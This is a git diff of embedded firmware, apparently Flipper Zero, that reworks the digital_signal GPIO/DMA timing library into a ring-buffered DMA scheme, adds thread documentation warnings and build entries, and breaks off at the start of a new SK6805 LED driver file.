8f4398419..b11a225b5 100644 --- a/furi/core/thread.h +++ b/furi/core/thread.h @@ -75,6 +75,8 @@ FuriThread* furi_thread_alloc_ex( void* context); /** Release FuriThread + * + * @warning see furi_thread_join * * @param thread FuriThread instance */ @@ -173,6 +175,9 @@ FuriThreadState furi_thread_get_state(FuriThread* thread); void furi_thread_start(FuriThread* thread); /** Join FuriThread + * + * @warning Use this method only when CPU is not busy(Idle task receives + * control), otherwise it will wait forever. * * @param thread FuriThread instance * diff --git a/furi/flipper.c b/furi/flipper.c index f0147c060..8806ce27f 100644 --- a/furi/flipper.c +++ b/furi/flipper.c @@ -33,7 +33,7 @@ void flipper_init() { FURI_LOG_I(TAG, "Boot mode %d, starting services", furi_hal_rtc_get_boot_mode()); for(size_t i = 0; i < FLIPPER_SERVICES_COUNT; i++) { - FURI_LOG_I(TAG, "Starting service %s", FLIPPER_SERVICES[i].name); + FURI_LOG_D(TAG, "Starting service %s", FLIPPER_SERVICES[i].name); FuriThread* thread = furi_thread_alloc_ex( FLIPPER_SERVICES[i].name, @@ -54,8 +54,8 @@ void vApplicationGetIdleTaskMemory( StackType_t** stack_ptr, uint32_t* stack_size) { *tcb_ptr = memmgr_alloc_from_pool(sizeof(StaticTask_t)); - *stack_ptr = memmgr_alloc_from_pool(sizeof(StackType_t) * configMINIMAL_STACK_SIZE); - *stack_size = configMINIMAL_STACK_SIZE; + *stack_ptr = memmgr_alloc_from_pool(sizeof(StackType_t) * configIDLE_TASK_STACK_DEPTH); + *stack_size = configIDLE_TASK_STACK_DEPTH; } void vApplicationGetTimerTaskMemory( diff --git a/lib/SConscript b/lib/SConscript index 2de801597..9742d81a3 100644 --- a/lib/SConscript +++ b/lib/SConscript @@ -15,6 +15,7 @@ env.Append( Dir("u8g2"), Dir("update_util"), Dir("print"), + Dir("pulse_reader"), ], ) @@ -89,11 +90,13 @@ libs = env.BuildModules( "fatfs", "flipper_format", "one_wire", + "ibutton", "infrared", "littlefs", "mbedtls", "subghz", "nfc", + "pulse_reader", "appframe", "misc", "lfrfid", diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 8e52491ea..59278277c 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -1,13 +1,54 @@ #include "digital_signal.h" #include +#include #include #include +#include +#include + +/* must be on bank B */ +#define DEBUG_OUTPUT gpio_ext_pb3 + +struct ReloadBuffer { + uint32_t* buffer; /* DMA ringbuffer */ + uint32_t size; /* maximum entry count of the ring buffer */ + uint32_t write_pos; /* current buffer write index */ + uint32_t read_pos; /* current buffer read index */ + bool dma_active; +}; + +struct DigitalSequence { + uint8_t signals_size; + bool bake; + uint32_t sequence_used; + uint32_t sequence_size; + DigitalSignal** signals; + uint8_t* sequence; + const GpioPin* gpio; + uint32_t send_time; + bool send_time_active; + LL_DMA_InitTypeDef dma_config_gpio; + LL_DMA_InitTypeDef dma_config_timer; + uint32_t* gpio_buff; + struct ReloadBuffer* dma_buffer; +}; + +struct DigitalSignalInternals { + uint64_t factor; + uint32_t reload_reg_entries; + uint32_t reload_reg_remainder; + uint32_t gpio_buff[2]; + const GpioPin* gpio; + LL_DMA_InitTypeDef dma_config_gpio; + LL_DMA_InitTypeDef dma_config_timer; +}; + #define TAG "DigitalSignal" #define F_TIM (64000000.0) -#define T_TIM 1562 /* 15.625 ns *100 */ +#define T_TIM 1562 /* 15.625 ns *100 */ #define T_TIM_DIV2 781 /* 15.625 ns / 2 *100 */ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { @@ -17,28 +58,31 @@ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { signal->edge_timings = malloc(signal->edges_max_cnt * sizeof(uint32_t)); signal->edge_cnt = 0; signal->reload_reg_buff = malloc(signal->edges_max_cnt * sizeof(uint32_t)); - signal->reload_reg_entries = 0; - signal->reload_reg_remainder = 0; - signal->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; - signal->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; - signal->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; - signal->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; - signal->dma_config_gpio.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; - signal->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; - signal->dma_config_gpio.NbData = 2; - signal->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; - signal->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; + signal->internals = malloc(sizeof(DigitalSignalInternals)); + DigitalSignalInternals* internals = signal->internals; - signal->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); - signal->dma_config_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; - signal->dma_config_timer.Mode = LL_DMA_MODE_NORMAL; - signal->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; - signal->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; - signal->dma_config_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; - signal->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; - signal->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; - signal->dma_config_timer.Priority = LL_DMA_PRIORITY_HIGH; + internals->factor = 1024 * 1024; + + internals->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + internals->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; + internals->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + internals->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + internals->dma_config_gpio.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + internals->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + internals->dma_config_gpio.NbData = 2; + internals->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + internals->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; + + internals->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); + internals->dma_config_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + internals->dma_config_timer.Mode = LL_DMA_MODE_NORMAL; + internals->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + internals->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + internals->dma_config_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + internals->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + internals->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + internals->dma_config_timer.Priority = LL_DMA_PRIORITY_HIGH; return signal; } @@ -46,8 +90,13 @@ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { void digital_signal_free(DigitalSignal* signal) { furi_assert(signal); + if(!signal) { + return; + } + free(signal->edge_timings); free(signal->reload_reg_buff); + free(signal->internals); free(signal); } @@ -129,33 +178,50 @@ uint32_t digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num) { return signal->edge_timings[edge_num]; } -void digital_signal_prepare(DigitalSignal* signal) { +void digital_signal_prepare_arr(DigitalSignal* signal) { furi_assert(signal); - furi_assert(signal->gpio); - furi_assert(signal->gpio->pin); + + DigitalSignalInternals* internals = signal->internals; /* set up signal polarities */ - uint32_t bit_set = signal->gpio->pin; - uint32_t bit_reset = signal->gpio->pin << 16; + if(internals->gpio) { + uint32_t bit_set = internals->gpio->pin; + uint32_t bit_reset = internals->gpio->pin << 16; - if(signal->start_level) { - signal->gpio_buff[0] = bit_set; - signal->gpio_buff[1] = bit_reset; - } else { - signal->gpio_buff[0] = bit_reset; - signal->gpio_buff[1] = bit_set; +#ifdef DEBUG_OUTPUT + bit_set |= DEBUG_OUTPUT.pin; + bit_reset |= DEBUG_OUTPUT.pin << 16; +#endif + + if(signal->start_level) { + internals->gpio_buff[0] = bit_set; + internals->gpio_buff[1] = bit_reset; + } else { + internals->gpio_buff[0] = bit_reset; + internals->gpio_buff[1] = bit_set; + } } /* set up edge timings */ - signal->reload_reg_entries = 0; + internals->reload_reg_entries = 0; for(size_t pos = 0; pos < signal->edge_cnt; pos++) { - uint32_t pulse_duration = signal->edge_timings[pos] + signal->reload_reg_remainder; + uint32_t edge_scaled = (internals->factor * signal->edge_timings[pos]) / (1024 * 1024); + uint32_t pulse_duration = edge_scaled + internals->reload_reg_remainder; + if(pulse_duration < 10 || pulse_duration > 10000000) { + FURI_LOG_D( + TAG, + "[prepare] pulse_duration out of range: %lu = %lu * %llu", + pulse_duration, + signal->edge_timings[pos], + internals->factor); + pulse_duration = 100; + } uint32_t pulse_ticks = (pulse_duration + T_TIM_DIV2) / T_TIM; - signal->reload_reg_remainder = pulse_duration - (pulse_ticks * T_TIM); + internals->reload_reg_remainder = pulse_duration - (pulse_ticks * T_TIM); if(pulse_ticks > 1) { - signal->reload_reg_buff[signal->reload_reg_entries++] = pulse_ticks - 1; + signal->reload_reg_buff[internals->reload_reg_entries++] = pulse_ticks - 1; } } } @@ -169,30 +235,8 @@ static void digital_signal_stop_dma() { static void digital_signal_stop_timer() { LL_TIM_DisableCounter(TIM2); - LL_TIM_SetCounter(TIM2, 0); -} - -static bool digital_signal_setup_dma(DigitalSignal* signal) { - furi_assert(signal); - - if(!signal->reload_reg_entries) { - return false; - } - - signal->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t)signal->gpio_buff; - signal->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) & (signal->gpio->port->BSRR); - signal->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)signal->reload_reg_buff; - signal->dma_config_timer.NbData = signal->reload_reg_entries; - - /* set up DMA channel 1 and 2 for GPIO and timer copy operations */ - LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &signal->dma_config_gpio); - LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &signal->dma_config_timer); - - /* enable both DMA channels */ - LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); - LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); - - return true; + LL_TIM_DisableUpdateEvent(TIM2); + LL_TIM_DisableDMAReq_UPDATE(TIM2); } static void digital_signal_setup_timer() { @@ -201,15 +245,40 @@ static void digital_signal_setup_timer() { LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); LL_TIM_SetClockDivision(TIM2, LL_TIM_CLOCKDIVISION_DIV1); LL_TIM_SetPrescaler(TIM2, 0); - LL_TIM_SetAutoReload(TIM2, 10); + LL_TIM_SetAutoReload(TIM2, 0xFFFFFFFF); LL_TIM_SetCounter(TIM2, 0); - LL_TIM_EnableUpdateEvent(TIM2); - LL_TIM_EnableDMAReq_UPDATE(TIM2); } static void digital_signal_start_timer() { - LL_TIM_GenerateEvent_UPDATE(TIM2); LL_TIM_EnableCounter(TIM2); + LL_TIM_EnableUpdateEvent(TIM2); + LL_TIM_EnableDMAReq_UPDATE(TIM2); + LL_TIM_GenerateEvent_UPDATE(TIM2); +} + +static bool digital_signal_setup_dma(DigitalSignal* signal) { + furi_assert(signal); + DigitalSignalInternals* internals = signal->internals; + + if(!signal->internals->reload_reg_entries) { + return false; + } + digital_signal_stop_dma(); + + internals->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t)internals->gpio_buff; + internals->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) & (internals->gpio->port->BSRR); + internals->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)signal->reload_reg_buff; + internals->dma_config_timer.NbData = signal->internals->reload_reg_entries; + + /* set up DMA channel 1 and 2 for GPIO and timer copy operations */ + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &internals->dma_config_gpio); + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &internals->dma_config_timer); + + /* enable both DMA channels */ + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); + + return true; } void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { @@ -220,12 +289,13 @@ void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { } /* Configure gpio as output */ - signal->gpio = gpio; - furi_hal_gpio_init(signal->gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + signal->internals->gpio = gpio; + furi_hal_gpio_init( + signal->internals->gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); /* single signal, add a temporary, terminating edge at the end */ signal->edge_timings[signal->edge_cnt++] = 10; - digital_signal_prepare(signal); + digital_signal_prepare_arr(signal); digital_signal_setup_dma(signal); digital_signal_setup_timer(); @@ -240,25 +310,53 @@ void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { signal->edge_cnt--; } -void digital_sequence_alloc_signals(DigitalSequence* sequence, uint32_t size) { +static void digital_sequence_alloc_signals(DigitalSequence* sequence, uint32_t size) { sequence->signals_size = size; sequence->signals = malloc(sequence->signals_size * sizeof(DigitalSignal*)); - sequence->signals_prolonged = malloc(sequence->signals_size * sizeof(bool)); } -void digital_sequence_alloc_sequence(DigitalSequence* sequence, uint32_t size) { +static void digital_sequence_alloc_sequence(DigitalSequence* sequence, uint32_t size) { sequence->sequence_used = 0; sequence->sequence_size = size; sequence->sequence = malloc(sequence->sequence_size); sequence->send_time = 0; + sequence->send_time_active = false; } DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { + furi_assert(gpio); + DigitalSequence* sequence = malloc(sizeof(DigitalSequence)); sequence->gpio = gpio; sequence->bake = false; + sequence->dma_buffer = malloc(sizeof(struct ReloadBuffer)); + sequence->dma_buffer->size = 32; + sequence->dma_buffer->buffer = malloc(sequence->dma_buffer->size * sizeof(uint32_t)); + + sequence->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + sequence->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; + sequence->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + sequence->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + sequence->dma_config_gpio.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + sequence->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + sequence->dma_config_gpio.NbData = 2; + sequence->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + sequence->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; + + sequence->dma_config_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + sequence->dma_config_timer.Mode = LL_DMA_MODE_CIRCULAR; + sequence->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + sequence->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + sequence->dma_config_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + sequence->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + sequence->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); + sequence->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)sequence->dma_buffer->buffer; + sequence->dma_config_timer.NbData = sequence->dma_buffer->size; + sequence->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + sequence->dma_config_timer.Priority = LL_DMA_PRIORITY_HIGH; + digital_sequence_alloc_signals(sequence, 32); digital_sequence_alloc_sequence(sequence, size); @@ -268,8 +366,14 @@ DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { void digital_sequence_free(DigitalSequence* sequence) { furi_assert(sequence); + if(!sequence) { + return; + } + free(sequence->signals); free(sequence->sequence); + free(sequence->dma_buffer->buffer); + free(sequence->dma_buffer); free(sequence); } @@ -282,14 +386,17 @@ void digital_sequence_set_signal( furi_assert(signal_index < sequence->signals_size); sequence->signals[signal_index] = signal; - signal->gpio = sequence->gpio; - signal->reload_reg_remainder = 0; + signal->internals->gpio = sequence->gpio; + signal->internals->reload_reg_remainder = 0; - digital_signal_prepare(signal); + digital_signal_prepare_arr(signal); } void digital_sequence_set_sendtime(DigitalSequence* sequence, uint32_t send_time) { + furi_assert(sequence); + sequence->send_time = send_time; + sequence->send_time_active = true; } void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { @@ -304,86 +411,28 @@ void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { sequence->sequence[sequence->sequence_used++] = signal_index; } -void digital_signal_update_dma(DigitalSignal* signal) { - volatile uint32_t dma1_data[] = { - /* R6 */ (uint32_t) & (DMA1_Channel1->CCR), - /* R7 */ DMA1_Channel1->CCR & ~DMA_CCR_EN, - /* R8 */ 2, - /* R9 */ (uint32_t) & (signal->gpio->port->BSRR), - /* R10 */ (uint32_t)signal->gpio_buff, - /* R11 */ DMA1_Channel1->CCR | DMA_CCR_EN}; - - volatile uint32_t dma2_data[] = { - /* R0 */ (uint32_t) & (DMA1_Channel2->CCR), - /* R1 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, - /* R2 */ (uint32_t)signal->reload_reg_entries, - /* R3 */ (uint32_t) & (TIM2->ARR), - /* R4 */ (uint32_t)signal->reload_reg_buff, - /* R5 */ DMA1_Channel2->CCR | DMA_CCR_EN}; - - /* hurry when setting up next transfer */ - asm volatile("\t" - "MOV r6, %[data1]\n\t" - "MOV r7, %[data2]\n\t" - - "PUSH {r0-r12}\n\t" - - "LDM r7, {r0-r5}\n\t" - "LDM r6, {r6-r11}\n\t" - - "loop:\n\t" - "LDR r12, [r0, #4]\n\t" - "CMP r12, #0\n\t" - "BNE loop\n\t" - - "STM r6, {r7-r10}\n\t" /* disable channel and set up new parameters */ - "STR r11, [r6, #0]\n\t" /* enable channel again */ - "STM r0, {r1-r4}\n\t" /* disable channel and set up new parameters */ - "STR r5, [r0, #0]\n\t" /* enable channel again */ - - "POP {r0-r12}\n\t" - - : /* no outputs*/ - : /* inputs */ - [data1] "r"(dma1_data), [data2] "r"(dma2_data) - : "r6", "r7"); - - LL_DMA_ClearFlag_TC1(DMA1); - LL_DMA_ClearFlag_TC2(DMA1); -} - -static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSignal* signal) { +static bool digital_sequence_setup_dma(DigitalSequence* sequence) { furi_assert(sequence); - furi_assert(signal); - /* the first iteration has to set up the whole machinery */ - if(!LL_DMA_IsEnabledChannel(DMA1, LL_DMA_CHANNEL_1)) { - if(!digital_signal_setup_dma(signal)) { - FURI_LOG_D(TAG, "digital_sequence_send_signal: Signal has no entries, aborting"); - return false; - } - digital_signal_setup_timer(); + digital_signal_stop_dma(); - /* if the send time is specified, wait till the core timer passed beyond that time */ - if(sequence->send_time != 0) { - while(true) { - uint32_t delta = sequence->send_time - DWT->CYCCNT; - /* yeah, it's making use of underflows... */ - if(delta > 0x80000000) { - break; - } - } - } - digital_signal_start_timer(); - } else { - /* configure next polarities and timings */ - digital_signal_update_dma(signal); - } + sequence->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t)sequence->gpio_buff; + sequence->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) & (sequence->gpio->port->BSRR); + + /* set up DMA channel 1 and 2 for GPIO and timer copy operations */ + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &sequence->dma_config_gpio); + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &sequence->dma_config_timer); + + /* enable both DMA channels */ + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); return true; } -DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { +static DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { + furi_assert(sequence); + uint32_t edges = 0; for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { @@ -405,10 +454,95 @@ DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { return ret; } +static void digital_sequence_update_pos(DigitalSequence* sequence) { + struct ReloadBuffer* dma_buffer = sequence->dma_buffer; + + dma_buffer->read_pos = dma_buffer->size - LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2); +} + +static const uint32_t wait_ms = 10; +static const uint32_t wait_ticks = wait_ms * 1000 * 64; + +static void digital_sequence_finish(DigitalSequence* sequence) { + struct ReloadBuffer* dma_buffer = sequence->dma_buffer; + + if(dma_buffer->dma_active) { + uint32_t prev_timer = DWT->CYCCNT; + uint32_t end_pos = (dma_buffer->write_pos + 1) % dma_buffer->size; + do { + uint32_t last_pos = dma_buffer->read_pos; + + digital_sequence_update_pos(sequence); + + /* we are finished, when the DMA transferred the 0xFFFFFFFF-timer which is the current write_pos */ + if(dma_buffer->read_pos == end_pos) { + break; + } + + if(last_pos != dma_buffer->read_pos) { + prev_timer = DWT->CYCCNT; + } + if(DWT->CYCCNT - prev_timer > wait_ticks) { + FURI_LOG_D( + TAG, + "[SEQ] hung %lu ms in finish (ARR 0x%08lx, read %lu, write %lu)", + wait_ms, + TIM2->ARR, + dma_buffer->read_pos, + dma_buffer->write_pos); + break; + } + } while(1); + } + + digital_signal_stop_timer(); + digital_signal_stop_dma(); +} + +static void digital_sequence_queue_pulse(DigitalSequence* sequence, uint32_t length) { + struct ReloadBuffer* dma_buffer = sequence->dma_buffer; + + if(dma_buffer->dma_active) { + uint32_t prev_timer = DWT->CYCCNT; + uint32_t end_pos = (dma_buffer->write_pos + 1) % dma_buffer->size; + do { + uint32_t last_pos = dma_buffer->read_pos; + digital_sequence_update_pos(sequence); + + if(dma_buffer->read_pos != end_pos) { + break; + } + + if(last_pos != dma_buffer->read_pos) { + prev_timer = DWT->CYCCNT; + } + if(DWT->CYCCNT - prev_timer > wait_ticks) { + FURI_LOG_D( + TAG, + "[SEQ] hung %lu ms in queue (ARR 0x%08lx, read %lu, write %lu)", + wait_ms, + TIM2->ARR, + dma_buffer->read_pos, + dma_buffer->write_pos); + break; + } + } while(1); + } + + dma_buffer->buffer[dma_buffer->write_pos] = length; + dma_buffer->write_pos = (dma_buffer->write_pos + 1) % dma_buffer->size; + dma_buffer->buffer[dma_buffer->write_pos] = 0xFFFFFFFF; +} + bool digital_sequence_send(DigitalSequence* sequence) { furi_assert(sequence); + struct ReloadBuffer* dma_buffer = sequence->dma_buffer; + furi_hal_gpio_init(sequence->gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); +#ifdef DEBUG_OUTPUT + furi_hal_gpio_init(&DEBUG_OUTPUT, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); +#endif if(sequence->bake) { DigitalSignal* sig = digital_sequence_bake(sequence); @@ -419,66 +553,90 @@ bool digital_sequence_send(DigitalSequence* sequence) { } int32_t remainder = 0; + bool traded_first = false; + FURI_CRITICAL_ENTER(); - for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { - uint8_t signal_index = sequence->sequence[pos]; + dma_buffer->dma_active = false; + dma_buffer->buffer[0] = 0xFFFFFFFF; + dma_buffer->read_pos = 0; + dma_buffer->write_pos = 0; + + for(uint32_t seq_pos = 0; seq_pos < sequence->sequence_used; seq_pos++) { + uint8_t signal_index = sequence->sequence[seq_pos]; DigitalSignal* sig = sequence->signals[signal_index]; + bool last_signal = ((seq_pos + 1) == sequence->sequence_used); - if(!sig) { - FURI_LOG_D( - TAG, - "digital_sequence_send: Signal at index %u, used at pos %lu is NULL, aborting", - signal_index, - pos); - break; + /* all signals are prepared and we can re-use the GPIO buffer from the fist signal */ + if(seq_pos == 0) { + sequence->gpio_buff = sig->internals->gpio_buff; } - /* when we are too late more than half a tick, make the first edge temporarily longer */ - bool needs_prolongation = false; - - if(remainder >= T_TIM_DIV2) { - remainder -= T_TIM; - needs_prolongation = true; - } - - /* update the total remainder */ - remainder += sig->reload_reg_remainder; - - /* do we need to update the prolongation? */ - if(needs_prolongation != sequence->signals_prolonged[signal_index]) { - if(needs_prolongation) { - sig->edge_timings[0]++; - } else { - sig->edge_timings[0]--; + for(uint32_t pulse_pos = 0; pulse_pos < sig->internals->reload_reg_entries; pulse_pos++) { + if(traded_first) { + traded_first = false; + continue; } - sequence->signals_prolonged[signal_index] = needs_prolongation; - } + uint32_t pulse_length = 0; + bool last_pulse = ((pulse_pos + 1) == sig->internals->reload_reg_entries); - bool success = digital_sequence_send_signal(sequence, sig); + pulse_length = sig->reload_reg_buff[pulse_pos]; - if(!success) { - break; + /* when we are too late more than half a tick, make the first edge temporarily longer */ + if(remainder >= T_TIM_DIV2) { + remainder -= T_TIM; + pulse_length += 1; + } + remainder += sig->internals->reload_reg_remainder; + + /* last pulse in that signal and have a next signal? */ + if(last_pulse) { + if((seq_pos + 1) < sequence->sequence_used) { + DigitalSignal* sig_next = sequence->signals[sequence->sequence[seq_pos + 1]]; + + /* when a signal ends with the same level as the next signal begins, let the fist signal generate the whole pulse */ + /* beware, we do not want the level after the last edge, but the last level before that edge */ + bool end_level = sig->start_level ^ ((sig->edge_cnt % 2) == 0); + + /* take from the next, add it to the current if they have the same level */ + if(end_level == sig_next->start_level) { + pulse_length += sig_next->reload_reg_buff[0]; + traded_first = true; + } + } + } + + digital_sequence_queue_pulse(sequence, pulse_length); + + /* start transmission when buffer was filled enough */ + bool start_send = sequence->dma_buffer->write_pos >= (sequence->dma_buffer->size - 4); + + /* or it was the last pulse */ + if(last_pulse && last_signal) { + start_send = true; + } + + /* start transmission */ + if(start_send && !dma_buffer->dma_active) { + digital_sequence_setup_dma(sequence); + digital_signal_setup_timer(); + + /* if the send time is specified, wait till the core timer passed beyond that time */ + if(sequence->send_time_active) { + sequence->send_time_active = false; + while(sequence->send_time - DWT->CYCCNT < 0x80000000) { + } + } + digital_signal_start_timer(); + dma_buffer->dma_active = true; + } } } + + /* wait until last dma transaction was finished */ + digital_sequence_finish(sequence); FURI_CRITICAL_EXIT(); - while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { - } - - digital_signal_stop_timer(); - digital_signal_stop_dma(); - - /* undo previously prolonged edges */ - for(uint32_t pos = 0; pos < sequence->signals_size; pos++) { - DigitalSignal* sig = sequence->signals[pos]; - - if(sig && sequence->signals_prolonged[pos]) { - sig->edge_timings[0]--; - sequence->signals_prolonged[pos] = false; - } - } - return true; } @@ -487,3 +645,14 @@ void digital_sequence_clear(DigitalSequence* sequence) { sequence->sequence_used = 0; } + +void digital_sequence_timebase_correction(DigitalSequence* sequence, float factor) { + for(uint32_t sig_pos = 0; sig_pos < sequence->signals_size; sig_pos++) { + DigitalSignal* signal = sequence->signals[sig_pos]; + + if(signal) { + signal->internals->factor = (uint32_t)(1024 * 1024 * factor); + digital_signal_prepare_arr(signal); + } + } +} diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h index 2e1a05522..40afb1e41 100644 --- a/lib/digital_signal/digital_signal.h +++ b/lib/digital_signal/digital_signal.h @@ -5,8 +5,6 @@ #include #include -#include -#include #ifdef __cplusplus extern "C" { @@ -18,31 +16,20 @@ extern "C" { #define DIGITAL_SIGNAL_NS(x) (x * 100UL) #define DIGITAL_SIGNAL_PS(x) (x / 10UL) -typedef struct { +/* using an anonymous type for the internals */ +typedef struct DigitalSignalInternals DigitalSignalInternals; + +/* and a public one for accessing user-side fields */ +typedef struct DigitalSignal { bool start_level; uint32_t edge_cnt; uint32_t edges_max_cnt; uint32_t* edge_timings; - uint32_t* reload_reg_buff; - uint32_t reload_reg_entries; - uint32_t reload_reg_remainder; - uint32_t gpio_buff[2]; - const GpioPin* gpio; - LL_DMA_InitTypeDef dma_config_gpio; - LL_DMA_InitTypeDef dma_config_timer; + uint32_t* reload_reg_buff; /* internal, but used by unit tests */ + DigitalSignalInternals* internals; } DigitalSignal; -typedef struct { - uint8_t signals_size; - bool bake; - uint32_t sequence_used; - uint32_t sequence_size; - DigitalSignal** signals; - bool* signals_prolonged; - uint8_t* sequence; - const GpioPin* gpio; - uint32_t send_time; -} DigitalSequence; +typedef struct DigitalSequence DigitalSequence; DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt); @@ -54,7 +41,7 @@ void digital_signal_add_pulse(DigitalSignal* signal, uint32_t ticks, bool level) bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b); -void digital_signal_prepare(DigitalSignal* signal); +void digital_signal_prepare_arr(DigitalSignal* signal); bool digital_signal_get_start_level(DigitalSignal* signal); @@ -74,6 +61,7 @@ void digital_sequence_set_sendtime(DigitalSequence* sequence, uint32_t send_time void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index); bool digital_sequence_send(DigitalSequence* sequence); void digital_sequence_clear(DigitalSequence* sequence); +void digital_sequence_timebase_correction(DigitalSequence* sequence, float factor); #ifdef __cplusplus } diff --git a/lib/drivers/SK6805.c b/lib/drivers/SK6805.c new file mode 100644 index 000000000..572e1df97 --- /dev/null +++ b/lib/drivers/SK6805.c @@ -0,0 +1,101 @@ +/* + SK6805 FlipperZero driver + Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) + + This program is free software: you can redistribute it and/or modify + it under the 